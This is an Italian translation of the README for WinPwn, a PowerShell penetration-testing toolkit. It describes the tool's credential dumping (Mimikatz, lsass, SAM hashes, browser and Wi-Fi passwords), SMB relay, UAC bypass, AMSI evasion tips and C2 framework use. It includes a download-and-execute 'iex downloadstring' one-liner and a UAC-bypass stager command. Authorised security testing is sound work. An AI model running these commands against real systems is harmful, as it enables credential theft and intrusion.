Sponsorizzato da

     

WinPwn

In molti penetration test interni passati, ho spesso avuto problemi con gli script Powershell di Recon/Exploitation esistenti a causa della mancanza di supporto proxy. Inoltre, eseguivo spesso gli stessi script uno dopo l'altro per ottenere informazioni sul sistema corrente e/o sul dominio. Per automatizzare il maggior numero possibile di processi di penetration test interni (ricognizione e sfruttamento) e per il motivo del proxy, ho scritto il mio script con riconoscimento e integrazione automatici del proxy. Lo script si basa principalmente su altri noti progetti di offensive security Powershell.

Qualsiasi suggerimento, feedback, pull request e commento sono benvenuti!

È sufficiente importare i moduli con:

Import-Module .\WinPwn.ps1 o iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1')

Per bypassare AMSI, utilizza una delle tecniche di bypass esistenti, trova l'trigger AMSI e modificalo manualmente nella funzione di bypass o codifica la stringa del trigger. In alternativa, offusca l'intero script.

Se ti trovi bloccato su un sistema Windows senza accesso a Internet, nessun problema, usa semplicemente Offline_Winpwn.ps1, gli script e gli eseguibili più importanti sono inclusi.

Funzioni disponibili dopo l'import:

• WinPwn -> Menu per scegliere gli attacchi:

• Inveigh -> Esegue Inveigh in una nuova finestra della console, attacchi SMB-Relay con gestione delle sessioni (Invoke-TheHash) integrata

• SessionGopher -> Esegue SessionGopher chiedendoti i parametri

• Kittielocal ->

  • Versione offuscata di Invoke-Mimikatz
  • Safetykatz in memoria
  • Dump di lsass tramite tecnica rundll32
  • Scarica ed esegui Lazagne offuscato
  • Dump delle credenziali del browser
  • Versione personalizzata di Mimikittenz
  • Esfiltra le credenziali Wi-Fi
  • Dump degli hash NTLM del file SAM
  • SharpCloud

• Localreconmodules ->

  • Raccoglie software installato, software vulnerabile, condivisioni, informazioni di rete, gruppi, privilegi e molto altro
  • Controlla vulnerabilità tipiche come SMB-Signing, LLMNR Poisoning, MITM6, WSUS over HTTP

Senza parametri, la maggior parte delle funzioni può essere utilizzata solo da una shell interattiva. Ho quindi deciso di aggiungere i parametri -noninteractive e -consoleoutput per rendere lo script utilizzabile da un framework C2 asincrono come Empire, Covenant, Cobalt Strike o altri. Inoltre è stato aggiunto il parametro -repo per utilizzare WinPwn con tutte le sue funzionalità da un repository locale. Possono essere utilizzati come segue:

Utilizzo:

-noninteractive -> Nessuna domanda per le funzioni, in modo che vengano eseguite con parametri predefiniti o definiti dall'utente

-consoleoutput -> Le cartelle loot/report non vengono create. Ogni funzione restituisce l'output alla console in modo da poter visionare tutto nei log dell'agente del tuo framework C2

Esempi:

WinPwn -noninteractive -consoleoutput -DomainRecon -> Questo restituirà ogni singolo script e funzione di ricognizione del dominio e probabilmente ti darà davvero molto output

WinPwn -noninteractive -consoleoutput -Localrecon -> Questo enumererà quante più informazioni possibile per il sistema locale

Generalrecon -noninteractive -> Esegue le funzioni di base della ricognizione locale e salva l'output nelle cartelle corrispondenti

UACBypass -noninteractive -command "C:\temp\stager.exe" -technique ccmstp -> Esegue uno stager in un processo ad alta integrità da una sessione a privilegi bassi

Kittielocal -noninteractive -consoleoutput -browsercredentials -> Esegue il dump delle credenziali del browser tramite Sharpweb restituendo l'output alla console

Kittielocal -noninteractive -browsercredentials -> Esegue il dump degli hash NTLM del file SAM e salva l'output in un file

WinPwn -PowerSharpPack -consoleoutput -noninteractive -> Esegue Seatbelt, PowerUp, Watson e altri binari C# in memoria

Dotnetsearch -consoleoutput -noninteractive -> Cerca in C:\Program Files\ e C:\Program Files (x86)\ assembly .NET

WinPwn -repo http://192.168.1.10:8000/WinPwn_Repo -> Utilizza un server web locale come repository offline per usare WinPwn senza accesso a Internet

Get_WinPwn_Repo.sh:

Utilizzo: ./Get_WinPwn_Repo.sh {Option}

Esempio: ./Get_WinPwn_Repo.sh --install

Opzioni: --install Scarica il repository e lo posiziona in ./WinPwn_Repo/ --remove Rimuove il repository ./WinPwn_Repo/ --reinstall Rimuove il repository e ne scarica uno nuovo in ./WinPwn_Repo/ --start-server Avvia un server HTTP Python sulla porta 8000 --help Mostra questo aiuto

TO-DO

• Un po' di offuscamento
• Più offuscamento
• Supporto proxy tramite file PAC
• Ottieni gli script dal mio repository creds (https://github.com/S3cur3Th1sSh1t/Creds) per essere indipendente dalle modifiche nei repository originali
• Più funzioni di ricognizione/sfruttamento
• Aggiungi menu per una migliore gestione delle funzioni
• Amsi Bypass
• Blocca ETW

CREDITS

• Kevin-Robertson - Inveigh, Powermad, Invoke-TheHash
• Arvanaghi - SessionGopher
• PowerShellMafia - Powersploit
• Dionach - PassHunt
• A-mIn3 - WINSpect
• 411Hall - JAWS
• sense-of-security - ADrecon
• dafthack - DomainPasswordSpray
• rasta-mouse - Sherlock, Amsi Bypass, PPID Spoof & BlockDLLs
• AlessandroZ - LaZagne
• samratashok - nishang

Stargazers over time

Legal disclaimer:

L'uso di WinPwn per attaccare target senza previo consenso reciproco è illegale. È responsabilità dell'utente finale rispettare tutte le leggi locali, statali e federali applicabili. Gli sviluppatori non si assumono alcuna responsabilità e non sono responsabili per qualsiasi uso improprio o danno causato da questo programma. Utilizzare solo a scopo educativo.